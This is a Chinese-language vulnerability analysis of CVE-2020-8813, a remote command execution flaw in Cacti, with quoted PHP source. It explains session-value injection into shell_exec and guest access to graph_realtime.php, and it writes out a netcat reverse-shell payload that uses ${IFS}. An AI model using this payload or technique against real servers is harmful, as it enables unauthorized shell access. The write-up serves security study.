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CVE-2020-8813漏洞分析：网络流量监测图形分析工具 Cacti RCE 漏洞
摘要：Cacti是一组基于PHP，MySQL，SNMP和RRDTool的用于网络流量监视的图形分析工具，使用snmpget获取数据，RRDtool绘制图形，无需了解RRDtool的复杂参数。
Cacti是一组基于PHP，MySQL，SNMP和RRDTool的用于网络流量监视的图形分析工具，使用snmpget获取数据，RRDtool绘制图形，无需了解RRDtool的复杂参数。
它提供了非常强大的数据和用户管理功能。可以指定每个用户可以查看树结构，host和任何图片。它还可以与LDAP结合使用以进行用户身份验证。同时，可以添加模板。功能非常强大完整。Cacti软件的开发基于使RRDTool用户更易于使用该软件。除了基本的Snmp流量和系统信息监视之外，Cacti还可以外挂 Scripts 及加上Templat
es来创建各种监视图表。
Cacti是用PHP语言实现的软件。它的主要功能是使用snmp服务获取数据，然后使用rrdtool存储和更新数据。 当用户需要查看数据时，使用rrdtool生成图表并将其呈现给用户。因此，snmp和rrdtool是cacti的关键。 Snmp与数据收集有关，而rrdtool与数据存储和图表生成有关。
漏洞利用分析
在分析Cacti主要代码中的多个功能时发现了此漏洞。需要结合多种漏洞利用因素来实现代码执行。当攻击者尝试将恶意代码注入“Cacti”Cookie变量时，将触发此漏洞，并在与某些字符串合并后传递此变量给shell_
exec函数。但是，当尝试修改Cookie值时，遇到了身份验证问题，该问题使无法访问目标页面，但是易受攻击的页面可以作为“Guest”来访问，因此无需进行身份验证，因此修改了漏洞利用代码，并使用“Guest”身份访问页面“graph_realtime.php”，然后发送了恶意请求以在目标主机上执行代码。
首先，我们需要向“user_admin.php”页面发送请求以启用“realtime_graph”访客权限，然后将恶意请求发送至“graph_realtime.php”页面。
接下来，使用常用的RCE扫描脚本在Cacti中搜索RCE漏洞。
运行脚本后，在“graph_realtime.php”文件中发现了一个非常有趣的东西：
graph_realtime.php
/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command = read_config_option('path_php_binary');
$args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();
我们可以在上面的代码中看到第4行和第5行收到了一些参数和一个名为“get_request_var”的函数。功能如下：
html_utility.php
function get_request_var($name, $default = '') {
global $_CACTI_REQUEST;
$log_validation = read_config_option('log_validation');
if (isset($_CACTI_REQUEST[$name])) {
return $_CACTI_REQUEST[$name];
} elseif (isset_request_var($name)) {
if ($log_validation == 'on') {
html_log_input_error($name);
}
set_request_var($name, $_REQUEST[$name]);
return $_REQUEST[$name];
} else {
return $default;
}
}
我们可以看到该函数可以通过“set_request_var”函数处理输入数据并设置参数值，该函数的相关代码如下：
html_utility.php
function set_request_var($variable, $value) {
global $_CACTI_REQUEST;
$_CACTI_REQUEST[$variable] = $value;
$_REQUEST[$variable] = $value;
$_POST[$variable] = $value;
$_GET[$variable] = $value;
}
接下来，回到我们的“ graph_realtime.php”页面，我们可以控制以下输入：
local_graph_id
The value of $graph_data_array[‘ds_step’]
但是，我们注意到“ graph_realtime.php”文件中的第4行，该文件使用sprintf（）函数处理输入，并且第一个值“graph”的内容为“ local_graph_id”，并且我们可以控制该值！但是，名为“get_filter_request
_var”的函数将过滤该值，我们可以看到它已在“graph_realtime.php”中过滤：
html_utility.php
function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {
if (isset_request_var($name)) {
if (isempty_request_var($name)) {
set_request_var($name, get_nfilter_request_var($name));
return get_request_var($name);
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
set_request_var($name, '');
return '';
}
} else {
if (get_nfilter_request_var($name) == '0') {
$value = '0';
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
$value = $options['default'];
} else {
$value = '';
}
} elseif (isempty_request_var($name)) {
$value = '';
} elseif ($filter == FILTER_VALIDATE_IS_REGEX) {
if (is_base64_encoded($_REQUEST[$name])) {
$_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));
}
$valid = validate_is_regex($_REQUEST[$name]);
if ($valid === true) {
$value = $_REQUEST[$name];
} else {
$value = false;
$custom_error = $valid;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {
$valid = true;
if (is_array($_REQUEST[$name])) {
foreach($_REQUEST[$name] AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
} else {
$valid = false;
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {
$valid = true;
$values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);
foreach($values AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif (!cacti_sizeof($options)) {
$value = filter_var($_REQUEST[$name], $filter);
} else {
$value = filter_var($_REQUEST[$name], $filter, $options);
}
}
if ($value === false) {
if ($filter == FILTER_VALIDATE_IS_REGEX) {
$_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));
set_request_var($name, '');
raise_message('custom_error');
} else {
die_html_input_error($name, get_nfilter_request_var($name));
}
} else {
set_request_var($name, $value);
return $value;
}
} else {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
return;
}
}
}
该函数将过滤输入数据，然后返回“ clean”变量并将其传递给下一个函数。
对于第二个变量“ $ graph_data_array ['ds_step']”，它已由sprintf（）处理了（%d），这意味着它将成为一个十进制值，因此我们不能使用它来注入恶意命令。
接下来，让我们看下面的代码：
graph_realtime.php
/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command = read_config_option('path_php_binary');
$args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();
我们看到了另一个传递给shell_exec函数的变量，该变量的值是session_id（）函数返回的值。该函数可以返回当前用户会话的值，也就是说，我们可以使用它来注入命令。
如果我们修改会话，则无法访问目标页面，因为此页面要求用户经过身份验证才能访问它。经过研究发现如果启用名为“Realtime Graphs”的特殊权限，我们可以以访客身份访问此页面：
接下来，我们尝试访问未经Guest Realtime Graphs许可访问页面：
如我们所见，由于权限问题，我们现在无法访问此页面。现在，我们重新启用权限，然后访问页面：
接下来我们发送一个“graph_realtime.php”页面请求，然后在代码中添加一个“echo”语句，以输出传递给shell_exec函数的值：
如图所示，我们打印会话，然后尝试将自定义字符串注入会话：
很好，我们成功实现了注入。
Payload开发
成功控制会话值之后，我们需要使用它来在目标系统中执行代码执行，但是由于它本质上是会话值，因此我们无法使用某些特殊字符，因此我们需要开发“会话友好”的Payload。
例如，如果我们对字符串“Hi Payload”进行编码并将其传递给应用程序，我们将看到：
我们可以看到该应用程序为我们设置了一个cookie，而不是我们注入的cookie。要解决此问题，我们需要使用自定义Payload。
为了避免使用空格字符，使用“${IFS}”Bash变量来表示空格。
当然，我们还需要使用“;”转义命令：
;payload
如果我们要使用netcat来获取Shell，还需要创建以下Payload：
;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
我们首先对Payload进行编码：
然后将其发送到应用程序：
很好，我们的Payload已成功执行，拿到Shel。
漏洞利用代码
为了自动化整个漏洞利用编写了一个Python脚本来利用此漏洞：
运行漏洞利用代码后，我们将看到：
再次拿到Shell！
未经身份验证的漏洞利用
如果Cacti启用了“Guest Realtime Graphs”权限，那么我们可以在无需身份验证的情况下利用此漏洞。以下是这种情况下的利用代码：
我们可以看到，在这种情况下该漏洞也可以被成功利用。
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